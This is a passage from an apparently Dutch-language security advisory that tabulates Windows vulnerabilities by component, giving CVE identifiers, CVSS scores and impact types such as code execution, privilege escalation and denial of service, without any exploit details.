|\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen 